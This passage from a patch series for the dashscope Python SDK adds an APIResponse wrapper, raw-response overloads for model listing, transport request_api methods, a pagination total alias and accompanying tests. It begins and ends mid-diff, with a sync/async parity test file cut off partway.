resp.parse(ModelList) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -176,8 +191,9 @@ def list( extra_body=extra_body, ), ) - return with_headers(result, response) + return result + @overload def get( self, model: str, @@ -188,9 +204,39 @@ def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> Model: + ... + + @overload + def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"model": model, "page_no": 1, "page_size": 1}, @@ -203,9 +249,12 @@ def get( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - body = response_json(response) + if raw: + return resp + resp.raise_for_status() + body = resp.json() models = _parse_get_models(body) if not models: if self._client.raise_on_error: @@ -213,16 +262,16 @@ def get( message=f"Model '{model}' not found", code=ErrorCode.MODEL_NOT_EXIST.value, body=body, - headers=response.headers, + headers=resp.http_response.headers, ) return with_headers( parse_model( Model, response_envelope(body), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) return with_headers( parse_model( @@ -232,9 +281,9 @@ def get( # duplicate-keyword TypeError instead of being parsed. {**models[0], **response_envelope(body)}, strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) @@ -242,6 +291,7 @@ class AsyncModels: def __init__(self, client) -> None: self._client = client + @overload async def list( self, *, @@ -254,8 +304,42 @@ async def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> ModelList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[ModelList, "APIResponse"]: + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -268,13 +352,12 @@ async def list( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list( - response_json(response), - strict=self._client.config.strict_validation, - response=response, - ) + if raw: + return resp + resp.raise_for_status() + result = resp.parse(ModelList) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -292,8 +375,9 @@ async def list( extra_body=extra_body, ), ) - return with_headers(result, response) + return result + @overload async def get( self, model: str, @@ -304,9 +388,39 @@ async def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> Model: + ... + + @overload + async def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"model": model, "page_no": 1, "page_size": 1}, @@ -319,9 +433,12 @@ async def get( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - body = response_json(response) + if raw: + return resp + resp.raise_for_status() + body = resp.json() models = _parse_get_models(body) if not models: if self._client.raise_on_error: @@ -329,16 +446,16 @@ async def get( message=f"Model '{model}' not found", code=ErrorCode.MODEL_NOT_EXIST.value, body=body, - headers=response.headers, + headers=resp.http_response.headers, ) return with_headers( parse_model( Model, response_envelope(body), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) return with_headers( parse_model( @@ -348,7 +465,7 @@ async def get( # duplicate-keyword TypeError instead of being parsed. {**models[0], **response_envelope(body)}, strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) diff --git a/dashscope/transport/__init__.py b/dashscope/transport/__init__.py index 5aea18ea..4136f624 100644 --- a/dashscope/transport/__init__.py +++ b/dashscope/transport/__init__.py @@ -3,6 +3,7 @@ """Transport layer for the dashscope 2.0 SDK.""" from dashscope.transport._options import RequestOptions +from dashscope.transport._response import APIResponse from dashscope.transport.http import ( AsyncTransport, SyncTransport, @@ -10,6 +11,7 @@ ) __all__ = [ + "APIResponse", "AsyncTransport", "RequestOptions", "SyncTransport", diff --git a/dashscope/transport/_response.py b/dashscope/transport/_response.py new file mode 100644 index 00000000..4f0d07d5 --- /dev/null +++ b/dashscope/transport/_response.py @@ -0,0 +1,205 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Response wrapper shared by the sync and async HTTP paths. + +:class:`APIResponse` carries a materialized ``httpx.Response`` plus a +reference to the client that produced it, and folds the repetitive HTTP +tail -- error check, JSON decode, typed construction, header attachment +-- into one object. Resources build it through +:meth:`~dashscope.transport.http.SyncTransport.request_api` and either +return it directly (``raw=True``) or read ``json()`` / ``parse()`` from it. + +``httpx.Response`` is already materialized on the async path too (the +transport awaits it before returning), so one class serves both; there is +no async twin. Only :meth:`parse` and :meth:`json` touch the body, and +both are synchronous because the bytes are already in memory. +""" + +from __future__ import annotations + +from typing import Any, Dict, Optional, Type, TypeVar + +import httpx + +from dashscope.errors import check_response, response_json +from dashscope.types._parse import parse_model +from dashscope.types.common import ( + ResponseBase, + flatten_envelope, + with_headers, +) + +__all__ = ["APIResponse"] + +T = TypeVar("T", bound=ResponseBase) + +# Sentinel distinct from a legitimately cached ``None`` body. +_MISSING = object() + + +def _unwrap(body: Dict[str, Any]) -> Dict[str, Any]: + """Lift the DashScope envelope so a model can be built from it directly. + + Public models describe the payload, not the wrapper: the native gateway + nests it under ``output``, the OpenAI-shaped one under ``data``. Skipping + this step does not fail loudly -- every response model gives its fields + defaults, so ``parse(ModelList)`` would validate cleanly against the + wrapper and hand back an empty page. + + ``flatten_envelope`` keeps the envelope fields (``request_id`` / ``code`` + / ``message``) at top level, where ``ResponseBase`` reads them. A body + that is already flat (``jobs.list``) has nothing to lift. + """ + for key in ("output", "data"): + if isinstance(body.get(key), dict): + return flatten_envelope(body, key=key) + return dict(body) + + +class APIResponse: + """A parsed-on-demand view over one HTTP response.""" + + def __init__( + self, + response: httpx.Response, + *, + client: Any = None, + ) -> None: + self._response = response + self._client = client + self._parsed_by_type: Dict[Any, Any] = {} + self._body: Any = _MISSING + + @property + def http_response(self) -> httpx.Response: + """The underlying raw ``httpx.Response``.""" + return self._response + + @property + def headers(self) -> Dict[str, str]: + """A plain ``dict`` copy of the headers (same shape as ``with_headers``).""" + return dict(self._response.headers) + + @property + def status_code(self) -> int: + return self._response.status_code + + @property + def elapsed(self) -> Any: + """The request elapsed time (a ``timedelta``), or ``None`` if unset. + + httpx only records ``elapsed`` once the response has been read or + closed; the SDK's non-streaming ``request()`` always reads it, so in + practice this is set. ``None`` is returned instead of raising for a + response wrapped before its body was consumed (e.g. a mock). + """ + try: + return self._response.elapsed + except RuntimeError: + return None + + @property + def request_id(self) -> Optional[str]: + """Server request id: the ``x-request-id`` header, else the body's. + + The header wins because it is present even when the body is not + decodable; the body (top-level or nested under ``output``) is the + fallback for gateways that only report it there. + """ + header_id = self._response.headers.get("x-request-id") + if header_id: + return header_id + body = self._safe_body() + if isinstance(body, dict): + output = body.get("output") + output = output if isinstance(output, dict) else {} + return body.get("request_id") or output.get("request_id") + return None + + @property + def _strict(self) -> bool: + return bool( + self._client is not None and self._client.config.strict_validation, + ) + + @property + def _raise_on_error(self) -> bool: + return True if self._client is None else self._client.raise_on_error + + def json(self, *, require_object: bool = True) -> Any: + """The decoded JSON body, through the v2 error contract. + + Delegates to :func:`dashscope.errors.response_json`, so an + undecodable or non-object body raises the catalog + ``internal_error`` rather than leaking ``JSONDecodeError``. The + object-body result is memoized; ``require_object=False`` bypasses + the cache because it accepts shapes the cache does not. + """ + if not require_object: + return response_json(self._response, require_object=False) + if self._body is _MISSING: + self._body = response_json(self._response) + return self._body + + def _safe_body(self) -> Any: + """Best-effort body for ``request_id``; never raises.""" + if self._body is not _MISSING: + return self._body + try: + return self._response.json() + except Exception: # pylint: disable=broad-except + return None + + def raise_for_status(self) -> None: + """Apply the dual-layer error check (HTTP status, then business code). + + Honors the client's ``raise_on_error``: in non-raising mode a + failure is left for the caller to read off the parsed model's + envelope, exactly as ``check_response`` does. + """ + check_response(self._response, raise_on_error=self._raise_on_error) + + def parse(self, cast_to: Optional[Type[T]] = None) -> Any: + """Parse the body, optionally into ``cast_to``, memoized per type. + + ``cast_to=None`` returns the decoded JSON body. Otherwise the body is + unwrapped from its ``output`` / ``data`` envelope, built into + ``cast_to`` via :func:`~dashscope.types._parse.parse_model` (degrading + rather than raising unless the client is strict), and has the response + headers attached. The result is cached by type, so repeat calls return + the *same* object while different types cache independently. + + ``cast_to`` must subclass + :class:`~dashscope.types.common.ResponseBase` -- the headers land in + its ``headers`` field, and unwrapping targets the envelope fields it + declares. Anything else raises ``TypeError`` rather than failing later + inside ``with_headers``. + + This is the generic direct-mapping path. Resources whose body needs + reshaping beyond the envelope -- one item picked out of a list, a + legacy singular field folded into a plural one -- keep their own + parser and read :meth:`json` instead. + """ + if cast_to is None: + return self.json() + is_model = isinstance(cast_to, type) and issubclass( + cast_to, + ResponseBase, + ) + if not is_model: + raise TypeError( + f"cast_to={cast_to!r} must be a ResponseBase subclass: the " + "response headers are attached through its `headers` field", + ) + cached = self._parsed_by_type.get(cast_to) + if cached is not None: + return cached + model = parse_model( + cast_to, + _unwrap(self.json()), + strict=self._strict, + response=self._response, + ) + model = with_headers(model, self._response) + self._parsed_by_type[cast_to] = model + return model diff --git a/dashscope/transport/http.py b/dashscope/transport/http.py index 57537d80..561d8532 100644 --- a/dashscope/transport/http.py +++ b/dashscope/transport/http.py @@ -26,6 +26,7 @@ resolve_max_retries, resolve_timeout, ) +from dashscope.transport._response import APIResponse from dashscope.transport._retry import backoff_delay, should_retry logger = get_logger("transport") @@ -357,6 +358,50 @@ def request( _sleep(delay) return response + def request_api( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + client: Any = None, + ) -> APIResponse: + """``request()`` wrapped in an :class:`APIResponse`. + + A thin convenience layer: it reuses :meth:`request` (and therefore + the same retry/backoff behavior) and only adds the response + wrapper. ``client`` seeds the wrapper's ``strict`` / + ``raise_on_error`` behavior and is optional. + """ + response = self.request( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + return APIResponse(response, client=client) + def open_stream( self, method: str, @@ -626,6 +671,44 @@ async def request( await _asleep(delay) return response + async def request_api( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + client: Any = None, + ) -> APIResponse: + """Async :meth:`SyncTransport.request_api`.""" + response = await self.request( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + return APIResponse(response, client=client) + async def open_stream( self, method: str, diff --git a/dashscope/types/common.py b/dashscope/types/common.py index 0c08f563..5a5e220c 100644 --- a/dashscope/types/common.py +++ b/dashscope/types/common.py @@ -119,6 +119,10 @@ def with_headers(model: _M, response: Any) -> _M: have no HTTP envelope to copy and keep the empty default; SSE streams expose theirs via ``Stream.headers`` and ``ChatStream.get_final_message()``. + + Resources on the ``APIResponse`` path (``transport.request_api``) get + this applied for free by ``APIResponse.parse``; websocket-sourced + models, which have no ``APIResponse``, still call it directly. """ model.headers = dict(response.headers) return model diff --git a/dashscope/types/pagination.py b/dashscope/types/pagination.py index 7030878c..b5b24d26 100644 --- a/dashscope/types/pagination.py +++ b/dashscope/types/pagination.py @@ -34,7 +34,7 @@ TypeVar, ) -from pydantic import PrivateAttr +from pydantic import AliasChoices, Field, PrivateAttr from dashscope.types.common import ResponseBase @@ -60,7 +60,13 @@ class BasePage(ResponseBase, Generic[T]): page_no: int = 1 page_size: int = 10 - total_count: int = 0 + # The wire reports the total as ``total``; ``total_count`` is the + # canonical name here. Accept both so a page parsed straight from a body + # traverses correctly instead of silently reading a zero total. + total_count: int = Field( + 0, + validation_alias=AliasChoices("total_count", "total"), + ) @property def items(self) -> List[T]: diff --git a/tests/test_pagination.py b/tests/test_pagination.py index 0902fad3..94430d26 100644 --- a/tests/test_pagination.py +++ b/tests/test_pagination.py @@ -196,6 +196,13 @@ def test_list_models_share_base_page(): assert BasePage().items == [] +def test_base_page_accepts_the_wire_total_alias(): + # The alias lives on BasePage so every list model inherits it, and a page + # parsed straight from a body traverses instead of reading a zero total. + for cls in (ModelList, FileList, JobList): + assert cls.model_validate({"total": 7}).total_count == 7 + + # --- models.list (async) -------------------------------------------------- diff --git a/tests/test_response.py b/tests/test_response.py new file mode 100644 index 00000000..9fde401e --- /dev/null +++ b/tests/test_response.py @@ -0,0 +1,354 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for APIResponse + raw response access (T5 pilot).""" + +from __future__ import annotations + +from datetime import timedelta +from typing import Any, Dict + +import httpx +import pytest +from pydantic import BaseModel + +from dashscope import AsyncClient, Client +from dashscope.errors import DashScopeError +from dashscope.resources._jobs import JobList +from dashscope.resources.embeddings import EmbeddingResponse +from dashscope.resources.files import FileList +from dashscope.resources.models import ModelList +from dashscope.transport import APIResponse +from dashscope.types.common import ResponseBase + +BASE_URL = "https://api.test.local/api/v1" + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +class ProbeA(ResponseBase): + """Plain probe model for parse() memoization tests.""" + + +class ProbeB(ResponseBase): + """A second, distinct type so per-type caching is observable.""" + + +def _models_body(total: int = 1) -> Dict[str, Any]: + return { + "request_id": "body-id", + "output": { + "models": [{"model": f"m{i}"} for i in range(total)], + "page_no": 1, + "page_size": 10, + "total": total, + }, + } + + +def _models_handler(body=None, headers=None): + payload = body if body is not None else _models_body() + + def handler(request): + return httpx.Response(200, json=payload, headers=headers or {}) + + return handler + + +def _embeddings_handler(): + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "emb-id", + "output": { + "embeddings": [{"index": 0, "embedding": [0.1, 0.2]}], + }, + "usage": {"total_tokens": 2}, + }, + headers={"x-request-id": "emb-header-id"}, + ) + + return handler + + +# --- raw access ----------------------------------------------------------- + + +def test_raw_returns_apiresponse_and_skips_error_check(): + error_body = { + "code": "InvalidApiKey", + "message": "bad key", + "request_id": "e", + } + client = _make_client( + _models_handler(body=error_body, headers={"x-request-id": "e"}), + ) + + resp = client.models.list(raw=True) + # raw=True returns before check_response, so the business error is not raised. + assert isinstance(resp, APIResponse) + assert resp.status_code == 200 + assert resp.request_id == "e" + assert resp.json()["code"] == "InvalidApiKey" + + +def test_non_raw_raises_on_business_error(): + error_body = { + "code": "InvalidApiKey", + "message": "bad key", + "request_id": "e", + } + client = _make_client(_models_handler(body=error_body)) + + with pytest.raises(DashScopeError): + client.models.list() + + +def test_raw_gives_access_to_http_response_and_elapsed(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert isinstance(resp.http_response, httpx.Response) + # elapsed does not raise even on a mock transport that never set it. + assert resp.elapsed is None or isinstance(resp.elapsed, timedelta) + assert isinstance(resp.headers, dict) + + +# --- request_id ----------------------------------------------------------- + + +def test_request_id_prefers_header(): + body = {"request_id": "body-id", "output": {"models": [], "total": 0}} + client = _make_client( + _models_handler(body=body, headers={"x-request-id": "header-id"}), + ) + resp = client.models.list(raw=True) + assert resp.request_id == "header-id" + + +def test_request_id_body_fallback(): + body = {"request_id": "body-id", "output": {"models": [], "total": 0}} + client = _make_client(_models_handler(body=body)) + resp = client.models.list(raw=True) + assert resp.request_id == "body-id" + + +def test_request_id_output_fallback(): + body = {"output": {"request_id": "out-id", "models": [], "total": 0}} + client = _make_client(_models_handler(body=body)) + resp = client.models.list(raw=True) + assert resp.request_id == "out-id" + + +# --- parse() -------------------------------------------------------------- + + +def test_parse_none_returns_body(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + assert resp.parse() == _models_body() + + +def test_parse_is_memoized_per_type(): + client = _make_client(_models_handler()) + resp = client.models.list(raw=True) + + first = resp.parse(ProbeA) + second = resp.parse(ProbeA) + assert first is second + + other = resp.parse(ProbeB) + assert other is not first + assert isinstance(other, ProbeB) + # Each type stays independently cached. + assert resp.parse(ProbeA) is first + assert resp.parse(ProbeB) is other + + +def test_parse_attaches_headers(): + client = _make_client( + _models_handler(headers={"x-request-id": "h", "x-custom": "v"}), + ) + resp = client.models.list(raw=True) + parsed = resp.parse(ProbeA) + # with_headers copies the raw response headers onto the parsed model. + assert parsed.headers["x-custom"] == "v" + assert parsed.headers["x-request-id"] == "h" + # The model's request_id comes from the body, not the header. + assert parsed.request_id == "body-id" + + +# --- parse() unwrapping --------------------------------------------------- + + +def _api_response(body, headers=None): + """An ``APIResponse`` over a body, without going through a client.""" + return APIResponse( + httpx.Response(200, json=body, headers=headers or {}), + ) + + +def test_parse_lifts_the_output_envelope_into_the_model(): + # Public models describe the payload, not the wrapper. Without the lift + # validation still succeeds -- every field has a default -- and the + # caller gets a silently empty page. + client = _make_client(_models_handler()) + page = client.models.list(raw=True).parse(ModelList) + assert [m.model for m in page] == ["m0"] + assert page.request_id == "body-id" + + +def test_parse_reads_the_wire_total_as_total_count(): + # The wire spells it ``total``; without the alias the page reads a zero + # total and has_next_page() stops traversal after the first page. + resp = _api_response( + { + "request_id": "r", + "output": { + "models": [{"model": "m0"}, {"model": "m1"}], + "page_no": 1, + "page_size": 2, + "total": 5, + }, + }, + ) + page = resp.parse(ModelList) + assert page.total_count == 5 + assert page.has_next_page() is True + + +def test_parse_lifts_the_data_envelope_too(): + resp = _api_response( + { + "request_id": "f-id", + "data": { + "files": [{"file_id": "f1"}], + "page_no": 1, + "page_size": 10, + "total": 1, + }, + }, + ) + page = resp.parse(FileList) + assert [f.file_id for f in page] == ["f1"] + assert page.total_count == 1 + assert page.request_id == "f-id" + + +def test_parse_leaves_an_already_flat_body_alone(): + # jobs.list answers flat; there is nothing to lift, so the body is used + # as-is rather than being mistaken for an empty envelope. + resp = _api_response( + { + "request_id": "j-id", + "tasks": [{"task_id": "t1", "task_status": "SUCCEEDED"}], + "page_no": 1, + "page_size": 10, + "total": 1, + }, + ) + page = resp.parse(JobList) + assert [t.task_id for t in page] == ["t1"] + assert page.total_count == 1 + + +def test_parse_rejects_a_model_that_cannot_carry_headers(): + class Plain(BaseModel): + x: int = 0 + + resp = _api_response({"x": 1}) + # Failing here names the reason; failing inside with_headers would only + # say that "Plain" has no field "headers". + with pytest.raises(TypeError, match="ResponseBase"): + resp.parse(Plain) + + +# --- non-raw paths unchanged --------------------------------------------- + + +def test_models_list_non_raw_returns_modellist_with_headers(): + client = _make_client( + _models_handler( + body={ + "request_id": "r", + "output": { + "models": [{"model": "m0"}, {"model": "m1"}], + "page_no": 1, + "page_size": 2, + "total": 4, + }, + }, + headers={"x-request-id": "r"}, + ), + ) + page = client.models.list(page_no=1, page_size=2) + assert isinstance(page, ModelList) + assert not isinstance(page, APIResponse) + assert page.headers["x-request-id"] == "r" + assert page.request_id == "r" + # Pagination still traverses after the migration. + assert page.has_next_page() is True + assert page.next_page() is not None + + +def test_embeddings_create_non_raw_returns_response(): + client = _make_client(_embeddings_handler()) + result = client.embeddings.create(model="text-embedding-v4", input="hi") + assert isinstance(result, EmbeddingResponse) + assert len(result.embeddings) == 1 + assert result.headers["x-request-id"] == "emb-header-id" + + +def test_embeddings_create_raw_returns_apiresponse(): + client = _make_client(_embeddings_handler()) + resp = client.embeddings.create( + model="text-embedding-v4", + input="hi", + raw=True, + ) + assert isinstance(resp, APIResponse) + assert resp.request_id == "emb-header-id" + assert resp.json()["output"]["embeddings"][0]["index"] == 0 + + +# --- async ---------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_async_raw_and_parse(): + client = _make_async_client( + _models_handler(headers={"x-request-id": "async-id"}), + ) + resp = await client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert resp.request_id == "async-id" + assert resp.parse(ProbeA) is resp.parse(ProbeA) + + +@pytest.mark.asyncio +async def test_async_non_raw_returns_modellist(): + client = _make_async_client(_models_handler()) + page = await client.models.list() + assert isinstance(page, ModelList) + assert [m.model for m in page] == ["m0"] + + +@pytest.mark.asyncio +async def test_async_raw_skips_error_check(): + error_body = {"code": "InvalidApiKey", "message": "bad", "request_id": "e"} + client = _make_async_client(_models_handler(body=error_body)) + resp = await client.models.list(raw=True) + assert isinstance(resp, APIResponse) + assert resp.status_code == 200 From de398cff286f4e1be293da35c7e2b0dba713cfba Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Tue, 3 Nov 2026 13:14:23 +0800 Subject: [PATCH 07/26] test(v2): Add sync/async interface parity tests - Use AST parsing to compare method sets and parameter signatures between sync and async classes - Verify mechanically copied method bodies remain consistent after stripping async syntax - Maintain exemption list for structural differences like sync vs async generators - Implement auto-discovery mechanism to ensure all new async twins are covered by tests - Add guard tests to verify detectors accurately catch missing methods or parameter drift - Exclude legacy SDK and standalone submodule directories to prevent false positives --- tests/v2/__init__.py | 9 + tests/v2/test_sync_async_parity.py | 1238 ++++++++++++++++++++++++++++ 2 files changed, 1247 insertions(+) create mode 100644 tests/v2/__init__.py create mode 100644 tests/v2/test_sync_async_parity.py diff --git a/tests/v2/__init__.py b/tests/v2/__init__.py new file mode 100644 index 00000000..dbab4a31 --- /dev/null +++ b/tests/v2/__init__.py @@ -0,0 +1,9 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Checks on the v2 SDK tree as a whole, rather than on one module. + +These tests read the shipped source and assert structural invariants across +it -- the sync/async twins expose the same contract, that sort of thing. +They have no runtime counterpart to import, so they live apart from the flat +per-module suites in ``tests/``. +""" diff --git a/tests/v2/test_sync_async_parity.py b/tests/v2/test_sync_async_parity.py new file mode 100644 index 00000000..e25ce9b3 --- /dev/null +++ b/tests/v2/test_sync_async_parity.py @@ -0,0 +1,1238 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Sync/async twin parity checks (T7 phase 1). + +The sync and async classes in ``dashscope`` are maintained by hand as +parallel copies. Nothing flags it when a method or a parameter is added to +one side and forgotten on the other -- the drift only surfaces at runtime, +usually as an ``AttributeError`` on the async client. These checks parse +each twin pair with :mod:`ast` and assert the two sides expose the same +methods with the same parameters, so drift fails CI. + +Three things are compared: the method-name set, each method's parameter +names/kinds, and the *body* of every method whose two halves are mechanical +copies of each other. Docstrings, annotations and defaults are ignored +throughout -- the async twin legitimately differs there (a one-line "Async +twin of ..." docstring, a ``Callable[..., Awaitable[None]]`` annotation). +Comparing them would report false positives, not real drift. + +The body check normalizes away exactly the sync/async spelling difference +(``async def`` / ``await``, the ``Async`` class-name prefix, ``aclose`` and +the four async dunders) and compares :func:`ast.unparse` output rather than +source lines, so it is immune to re-formatting: dropping an ``await`` +shortens a line and the formatter may then re-flow it. Most shared public +methods are identical under that normalization and are checked. The rest +diverge structurally -- a sync ``yield`` generator against an async ``async +for`` one, ``time.sleep`` against ``asyncio.sleep``, ``run_blocking`` +offloading a blocking upload to a worker thread -- and are listed in +``_BODY_EXEMPT`` with the reason. That list is *self-expiring*: +``test_declared_exemptions_are_still_needed`` fails once an exemption stops +describing a real difference, so fixing a gap retires its own blind spot +instead of leaving the method unchecked forever. + +Two further exclusions keep the signal honest: + +* **Underscore-prefixed helpers are not compared.** A private method is not + a contract, and the two sides routinely reach the same behaviour by + different private means (``Stream._iterate`` is a sync generator; the + async side inlines an async generator in ``__aiter__``). Dunder methods + *are* compared -- they are protocol surface, not helpers. +* **Declared asymmetries are listed per pair.** A websocket-only method with + no async counterpart is a design fact, not drift; naming it in the pair's + ``sync_only`` set documents the decision and keeps the check red for + anything *not* declared. + +``test_every_async_twin_in_the_v2_tree_is_covered`` closes the loop: it +re-discovers the twins from the source tree and fails if a new resource +ships an async class that nobody added to ``_PAIRS``, so coverage cannot rot +silently. + +Why detection rather than generation: T7's second phase floated building the +async side from the sync one with ``unasync``. Measured against this tree the +trade is poor -- about a third of the shared methods diverge structurally (a +sync ``yield`` generator against an ``async for``, ``time.sleep`` against +``asyncio.sleep``, ``asyncio.run()`` against a bare ``await``, +``run_blocking`` offloading a blocking upload to a worker thread), so +generation would cover part of the tree and leave the rest hand-written +beside it. It would also swap ``_PAIRS`` for a table of rewrite rules and +per-file overrides -- the same hand-maintained list in a different shape -- +while making the async files read-only and pointing stack traces at +generated code. ``_BODY_EXEMPT`` below is the honest record of where the two +halves really are not copies. + +Out of scope: ``legacy_1x`` (archived) and ``applications/agentstudio`` (a +separate sub-SDK with its own pagination and streaming twins). +""" + +from __future__ import annotations + +import ast +import copy +import difflib +from pathlib import Path +from typing import Dict, FrozenSet, List, NamedTuple, Optional, Set, Tuple + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] + +# Directories whose twins are deliberately not checked; see the docstring. +_SKIP_DIRS = frozenset({"legacy_1x", "applications"}) + +# Twins whose two halves do not share a stem, so the ``Async``-strip rule in +# ``_discover_pairs`` cannot pair them. Async name -> sync name. +_RENAMED_TWINS = {"AsyncSpinner": "StderrSpinner"} + +# An async-side method whose sync counterpart carries a different name. +# Keys are the async spelling, values the sync one; both sides are compared +# under the mapped name, so the exemptions below use the sync spelling too. +# Everything else is spelled the same on both sides (``Jobs.wait``, every +# resource method), so no other mapping is needed. +_NAME_MAP = { + "aclose": "close", + "__aenter__": "__enter__", + "__aexit__": "__exit__", + "__aiter__": "__iter__", + "__anext__": "__next__", +} + + +class _Pair(NamedTuple): + """One sync/async twin to compare, plus its declared asymmetries. + + ``sync_only`` / ``async_only`` exempt a *method name* that intentionally + exists on one side alone. ``params_exempt`` exempts a method present on + both sides whose signature intentionally differs. Every use of these + fields carries a comment saying why, because an unexplained exemption is + how real drift gets hidden. + """ + + path: str + sync_cls: str + async_cls: str + sync_only: FrozenSet[str] = frozenset() + async_only: FrozenSet[str] = frozenset() + params_exempt: FrozenSet[str] = frozenset() + + +_PAIRS: List[_Pair] = [ + # ``ws_connection`` is the pure-sync websocket helper (thread model); + # AsyncClient reaches the same sockets through ``connector=`` arguments. + _Pair( + "dashscope/client.py", + "Client", + "AsyncClient", + sync_only=frozenset({"ws_connection"}), + ), + _Pair("dashscope/transport/http.py", "SyncTransport", "AsyncTransport"), + _Pair("dashscope/transport/sse.py", "Stream", "AsyncStream"), + _Pair("dashscope/resources/_jobs.py", "Jobs", "AsyncJobs"), + _Pair("dashscope/resources/apps.py", "Apps", "AsyncApps"), + _Pair( + "dashscope/resources/apps.py", + "AppCompletions", + "AsyncAppCompletions", + ), + _Pair("dashscope/resources/apps.py", "AppStream", "AsyncAppStream"), + _Pair("dashscope/resources/audio/__init__.py", "Audio", "AsyncAudio"), + _Pair( + "dashscope/resources/audio/asr.py", + "TranscriptionJobs", 